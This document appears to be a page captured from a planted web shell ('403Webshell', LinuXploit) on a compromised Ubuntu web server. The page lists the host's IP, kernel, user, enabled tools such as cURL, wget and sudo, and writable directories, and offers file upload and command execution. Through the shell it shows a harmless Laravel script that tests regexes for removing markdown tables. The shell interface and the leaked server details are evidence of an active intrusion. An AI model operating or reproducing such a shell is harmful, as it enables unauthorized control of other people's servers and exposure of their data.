403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2798582/cwd/scripts/analysis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/2798582/cwd/scripts/analysis/test-table-regex.php
#!/usr/bin/env php
<?php

/**
 * Test regex for removing markdown tables
 */

require __DIR__.'/../vendor/autoload.php';

$app = require_once __DIR__.'/../bootstrap/app.php';
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$kernel->bootstrap();

use App\Models\AuditLibrary\AuditTemplate;

$pattern = '/\|[^\n]+\|\s*\n\|[-:\s|]+\|/';
$removePattern = '/\n*\|[^\n]+\|\s*\n\|[-:\s|]+\|\s*\n?(?:\|[^\n]+\|\s*\n?)*/';

$templates = AuditTemplate::whereNotNull('description')
    ->where('description', 'like', '%Finding%')
    ->limit(5)
    ->get();

foreach ($templates as $t) {
    echo "=== Template #{$t->id}: {$t->name} ===\n";
    echo 'Has table: '.(preg_match($pattern, $t->description) ? 'YES' : 'NO')."\n";

    if (preg_match($pattern, $t->description)) {
        $cleaned = preg_replace($removePattern, '', $t->description);
        $cleaned = preg_replace('/\n{3,}/', "\n\n", $cleaned);
        $cleaned = rtrim($cleaned);

        echo 'Original length: '.strlen($t->description)."\n";
        echo 'Cleaned length: '.strlen($cleaned)."\n";
        echo "Cleaned result:\n".$cleaned."\n";
    }
    echo "\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit